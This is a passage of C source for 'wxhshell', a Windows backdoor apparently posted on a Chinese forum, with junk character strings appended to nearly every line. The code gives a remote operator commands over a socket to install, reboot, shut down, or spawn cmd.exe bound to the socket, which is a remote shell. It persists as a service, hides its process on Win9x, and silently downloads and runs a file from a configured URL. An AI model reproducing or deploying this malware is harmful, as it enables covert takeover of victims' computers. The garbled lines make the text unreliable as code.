  } 4N- T=Ig  
  // 安装 Tt.#O~2:9  
  case 'i': { }CCTz0[D"  
    if(Install()) ,R~{$QUl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`c\~_Df_  
    else XJ3p<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $k,wA8OZ-  
    break; Q,f~7IVX  
    } 5S EyAhB  
  // 卸载 hN5?u:  
  case 'r': { $q iY)RE  
    if(Uninstall()) o;zU;pkB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9[5qN!P;y  
    else ZgzjRa++  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BIk0n;Kz<L  
    break; 8?za&v  
    } ,DZoE~  
  // 显示 wxhshell 所在路径 RI[=N:C^  
  case 'p': { `Nnaw+<]  
    char svExeFile[MAX_PATH]; 4*D'zJsJ  
    strcpy(svExeFile,"\n\r"); r+D ?_Lk  
      strcat(svExeFile,ExeFile); OtVRhR3>  
        send(wsh,svExeFile,strlen(svExeFile),0); ]27  
    break; )43\qIu\  
    } Y_gMoo  
  // 重启 @BfJb[A#  
  case 'b': { :< d.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l 10p'9 n  
    if(Boot(REBOOT)) g5OKhL0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x%!Ea{ s  
    else { O?=YY@j  
    closesocket(wsh); ?^Q8#Y^M  
    ExitThread(0); 2d#3LnO  
    } Q:5^K  
    break; "K9/^S_  
    } vh/&KTe?:  
  // 关机 6${=N}3Kw  
  case 'd': { <l.l6okp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MP3Vo|}3  
    if(Boot(SHUTDOWN)) i!a. 6Gq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/y7Fh  
    else { 3 i;sB  
    closesocket(wsh); y v58~w*"  
    ExitThread(0); mM$|cge"  
    } ^5D%)@~  
    break; ..K@'*u  
    } -`8pahI  
  // 获取shell +v.<Fw2k#  
  case 's': { ]<xzCPB  
    CmdShell(wsh); B@ xjwBUk  
    closesocket(wsh); RDSkFK( D  
    ExitThread(0); {O=PVW2S  
    break; #aua6V!"  
  } z8@[]6cW  
  // 退出 K7-z.WTUR  
  case 'x': { 3-PqUJT$   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CiNOGSlDj  
    CloseIt(wsh); 2bnYYQ14:  
    break; z%E ok  
    }  CK"OHjR  
  // 离开 tgVMgu  
  case 'q': { .}c&" L;W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Yklf?EZ>Q  
    closesocket(wsh); i< b-$9  
    WSACleanup(); Mgp+#w+,  
    exit(1); T\wfYuc&X  
    break; KbSE=3  
        } +Zg@X.z  
  } cFZcBiw  
  } *8I"7'xh  
'nT#c[x[0  
  // 提示信息 QG=K^g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); II'"Nkxd  
} 9R m\@E [  
  } I !J'  
jf^BEz5  
  return; EvKzpxCh  
} X=KC +1e  
W8_$]}G8E  
// shell模块句柄 sx n{uRF  
int CmdShell(SOCKET sock) !kS/Ei  
{ |pG%]?A  
STARTUPINFO si; .nzN5FB U  
ZeroMemory(&si,sizeof(si)); G`Df'Yy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,(A $WT@e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YvG=P<_xw  
PROCESS_INFORMATION ProcessInfo; TYKs2+S6  
char cmdline[]="cmd"; 9Wv}g"KY0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Qk[TL)t  
  return 0; l86gs6>  
} DS1{~_>nFu  
]SmN}Iq1  
// 自身启动模式 Miz?t*|{[  
int StartFromService(void) 4:9N]1JCb  
{ \2^o,1r/  
typedef struct 0Lf4 ^9N  
{ v&qL r+_7  
  DWORD ExitStatus; jVPX]8  
  DWORD PebBaseAddress; '.wb= C  
  DWORD AffinityMask; 7Fx0#cS"\  
  DWORD BasePriority; O.DO,]Uh  
  ULONG UniqueProcessId; v`@NwH<r  
  ULONG InheritedFromUniqueProcessId; bXi!_'z$  
}   PROCESS_BASIC_INFORMATION; 2FcNzAaV  
hv`I`[/J  
PROCNTQSIP NtQueryInformationProcess; 8'"=y}]H~  
3rY\y+m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !z1\ #|>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .JOZ2QWm<  
a4[t3U  
  HANDLE             hProcess; 6>]w1 H  
  PROCESS_BASIC_INFORMATION pbi; /i~x.i3  
B!  P/?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /9=r.Vxh  
  if(NULL == hInst ) return 0; @^R l{p  
}K5okxio  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @,j,GE%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @QMy!y_K~m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /J(vqYK"  
d_Jj&:"l  
  if (!NtQueryInformationProcess) return 0; !S%0#d2  
('{aOiSH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (g*j+i  
  if(!hProcess) return 0; 9Z21|5  
L6ap |u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ap8q`a{j^  
$ x:N/mMu`  
  CloseHandle(hProcess); wTD}c1J(  
@mJ~?d95v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $H)Q UFyC  
if(hProcess==NULL) return 0; p="0Y<2l  
v<t?t<|J  
HMODULE hMod; l2kGFgc  
char procName[255]; |;7mDhj=  
unsigned long cbNeeded; m8;w7S7,j~  
fZj,Q#}D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t>AOF\  
3@qv[yOE  
  CloseHandle(hProcess); O5aXa_A_u  
S@Rd>4  
if(strstr(procName,"services")) return 1; // 以服务启动 qDG2rFu&[  
B;?)X&n|X  
  return 0; // 注册表启动 TZ+ p6M8G  
}  |iI dm  
l -xc*lC  
// 主模块 .>eRX%  
int StartWxhshell(LPSTR lpCmdLine) 8>t,n,k  
{ p20JU zy  
  SOCKET wsl; 2QRO$NieV  
BOOL val=TRUE; e6>G8d  
  int port=0; tsJR:~  
  struct sockaddr_in door; 5 ty2e`~K  
e b} P/  
  if(wscfg.ws_autoins) Install(); -2; 6Pwmv  
. }/8 ]  
port=atoi(lpCmdLine); vUVFW'-  
0cE9O9kE  
if(port<=0) port=wscfg.ws_port; QM#Vl19>j(  
GTM0Qvf?  
  WSADATA data; 4U\}"Mk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vMB61 |O  
CNefk$/cR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O7Jux-E1C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0\{dt4nW&O  
  door.sin_family = AF_INET; fj;ZGbg-O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @t~y9UfF  
  door.sin_port = htons(port); 7;o:r$08&}  
S )rr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 60vmjmXl  
closesocket(wsl); \1jThJn  
return 1; yAryw{(  
} HoABo:  
?UAuUFueA  
  if(listen(wsl,2) == INVALID_SOCKET) { dI ,A;.  
closesocket(wsl); @k&6\1/U  
return 1; \^*:1=|7u]  
} $j.;$~F  
  Wxhshell(wsl); _i}b]xfM  
  WSACleanup(); tkT,M,]?9  
JI[8n$pr]  
return 0; 9L:wfg}8s  
W|m(Jh[w]  
} AQUAQZc  
=^rt?F4  
// 以NT服务方式启动 ywAvqT,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ID2->J  
{ FC] *^B  
DWORD   status = 0; P|<V0 Vs.  
  DWORD   specificError = 0xfffffff; P!W%KobZ7|  
a#=d{/ ab  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QQS*r}>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `/PBZnj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rJpr;QKf%  
  serviceStatus.dwWin32ExitCode     = 0; F<,pAxl~@  
  serviceStatus.dwServiceSpecificExitCode = 0; x(TF4W=j  
  serviceStatus.dwCheckPoint       = 0; (<eLj Q  
  serviceStatus.dwWaitHint       = 0; ;_I>`h"r  
TRGpE9i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CW+kKN  
  if (hServiceStatusHandle==0) return; ^~H{I_Y  
!FL"L 9   
status = GetLastError(); >K9Ia4I,  
  if (status!=NO_ERROR) [f_^B U&  
{ )XDBK* !  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LL#REK|lm8  
    serviceStatus.dwCheckPoint       = 0; [[ ie  
    serviceStatus.dwWaitHint       = 0; !i;6!w  
    serviceStatus.dwWin32ExitCode     = status; IE`3I#v  
    serviceStatus.dwServiceSpecificExitCode = specificError; CT[9=wV)m%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7%Y`j/  
    return; [<#j K}g  
  } VvyRZMR  
X<L=*r^C,=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !zX() V  
  serviceStatus.dwCheckPoint       = 0; 5skN'*oG  
  serviceStatus.dwWaitHint       = 0; N(7 XILC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pN[WYM?[  
} )dkU4]  
]I\GnDJ^  
// 处理NT服务事件,比如:启动、停止 =P(*j7=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f!x9%  
{ 7l53&,s   
switch(fdwControl) L!cOg8Z  
{ +Uq|Yh'Q  
case SERVICE_CONTROL_STOP: qq5X3K2&  
  serviceStatus.dwWin32ExitCode = 0; ,.<mj !YE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [./FzlAs  
  serviceStatus.dwCheckPoint   = 0; J~2SGXH)^?  
  serviceStatus.dwWaitHint     = 0; v$]B;;[A  
  { f7x2"&?vg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R(wUu#n$  
  } OXEEpoU?V  
  return; I\Op/`_=E  
case SERVICE_CONTROL_PAUSE: Gm|-[iUTG]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]=~dyi  
  break; OS z71;j  
case SERVICE_CONTROL_CONTINUE: cyCh^- <l@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uV5uZ  
  break; <8:h%%$?  
case SERVICE_CONTROL_INTERROGATE: <F7a!$zQ  
  break; ' h7Faj  
}; QF>T)1&J[7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &*v\t\]  
} &en. m>9,  
O&l4/RtQ\)  
// 标准应用程序主函数 TDH^x1P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O%EA ,5U.  
{ ["3dr@T9Z  
]DNPG"  
// 获取操作系统版本 K0.aU  
OsIsNt=GetOsVer(); 8&2 +=<Q~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m Q9dF,  
@su<h\)  
  // 从命令行安装 &D<R;>iI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` g]  
G=:/v  
  // 下载执行文件 yNvAT>H  
if(wscfg.ws_downexe) { QL7b<xDQC*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1&dtq,|N  
  WinExec(wscfg.ws_filenam,SW_HIDE); E=8'!  
} zy,SL |6:  
fmW{c mr|  
if(!OsIsNt) { RDdnOzx  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ev7.!  
HideProc(); al2lC#Sy  
StartWxhshell(lpCmdLine); xgk~%X%K  
} kq}byv}3I  
else tpJA~!mG3  
  if(StartFromService()) Q4u.v,sE  
  // 以服务方式启动 ?AyxRbk  
  StartServiceCtrlDispatcher(DispatchTable); d>p' A_  
else ` s7pM  
  // 普通方式启动 aw*]b.f  
  StartWxhshell(lpCmdLine); flmQNrC.8  
4#IT" i  
return 0; ng%[yY  
}
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只看该作者 1 发表于: 2006-10-10
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